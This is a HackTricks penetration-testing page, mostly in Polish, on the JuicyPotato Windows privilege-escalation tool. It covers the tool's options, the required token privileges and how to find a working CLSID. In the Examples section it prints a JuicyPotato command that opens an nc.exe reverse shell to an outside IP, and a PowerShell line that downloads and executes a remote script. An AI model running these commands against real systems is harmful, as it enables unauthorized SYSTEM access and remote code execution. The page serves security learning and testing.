JuicyPotato

Support HackTricks

WhiteIntel to silnik wyszukiwania zasilany dark-web, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


JuicyPotato nie działa na Windows Server 2019 i Windows 10 w wersji 1809 i nowszych. Jednak PrintSpoofer, RoguePotato, SharpEfsPotato mogą być używane do uzyskania tych samych uprawnień i zdobycia dostępu na poziomie NT AUTHORITY\SYSTEM. Sprawdź:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (nadużywanie złotych uprawnień)

Słodzona wersja RottenPotatoNG, z odrobiną soku, tj. kolejne narzędzie do eskalacji uprawnień lokalnych, z kont usług Windows do NT AUTHORITY\SYSTEM

Podsumowanie

Z Readme juicy-potato:

RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na BITS usłudze mającej nasłuch MiTM na 127.0.0.1:6666 i gdy masz uprawnienia SeImpersonate lub SeAssignPrimaryToken. Podczas przeglądu wersji Windows znaleźliśmy konfigurację, w której BITS był celowo wyłączony, a port 6666 był zajęty.

Postanowiliśmy uzbroić RottenPotatoNG: Powitaj Juicy Potato.

W teorii zobacz Rotten Potato - Eskalacja uprawnień z kont usług do SYSTEM i śledź łańcuch linków i odniesień.

Odkryliśmy, że oprócz BITS istnieje kilka serwerów COM, które możemy nadużywać. Muszą one tylko:

  1. być instancjonowalne przez bieżącego użytkownika, zazwyczaj „użytkownika usługi”, który ma uprawnienia do impersonacji

  2. implementować interfejs IMarshal

  3. działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)

Po kilku testach uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSID-ów na kilku wersjach Windows.

Soczyste szczegóły

JuicyPotato pozwala Ci:

  • Cel CLSID wybierz dowolny CLSID, który chcesz. Tutaj możesz znaleźć listę uporządkowaną według systemu operacyjnego.

  • Port nasłuchujący COM zdefiniuj preferowany port nasłuchujący COM (zamiast hardcodowanego 6666)

  • Adres IP nasłuchujący COM przypisz serwer do dowolnego adresu IP

  • Tryb tworzenia procesu w zależności od uprawnień użytkownika impersonowanego możesz wybierać spośród:

  • CreateProcessWithToken (wymaga SeImpersonate)

  • CreateProcessAsUser (wymaga SeAssignPrimaryToken)

  • oba

  • Proces do uruchomienia uruchom plik wykonywalny lub skrypt, jeśli eksploatacja się powiedzie

  • Argument procesu dostosuj argumenty uruchamianego procesu

  • Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się w zewnętrznym serwerze RPC

  • Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się w zewnętrznym serwerze, a zapora blokuje port 135

  • TRYB TESTOWY głównie do celów testowych, tj. testowanie CLSID-ów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz tutaj do testowania

Użycie

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

Z Readme juicy-potato:

Jeśli użytkownik ma uprawnienia SeImpersonate lub SeAssignPrimaryToken, to jesteś SYSTEM.

Prawie niemożliwe jest zapobieżenie nadużywaniu wszystkich tych serwerów COM. Możesz pomyśleć o modyfikacji uprawnień tych obiektów za pomocą DCOMCNFG, ale powodzenia, to będzie wyzwanie.

Rzeczywistym rozwiązaniem jest ochrona wrażliwych kont i aplikacji, które działają pod kontami * SERVICE. Zatrzymanie DCOM z pewnością uniemożliwiłoby to wykorzystanie, ale mogłoby mieć poważny wpływ na podstawowy system operacyjny.

Z: http://ohpe.it/juicy-potato/

Examples

Note: Visit this page for a list of CLSIDs to try.

Get a nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Uruchom nowy CMD (jeśli masz dostęp RDP)

Problemy z CLSID

Często domyślny CLSID, który używa JuicyPotato, nie działa i exploit się nie powodzi. Zwykle wymaga to wielu prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do przetestowania dla konkretnego systemu operacyjnego, powinieneś odwiedzić tę stronę:

Sprawdzanie CLSID

Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.

Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a następnie pobierz i uruchom GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.

Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Rozpocznie on próby każdego CLSID, a gdy numer portu się zmieni, oznacza to, że CLSID zadziałał.

Sprawdź działające CLSID używając parametru -c

Odniesienia

WhiteIntel to wyszukiwarka zasilana dark-web, która oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Wsparcie dla HackTricks

Last updated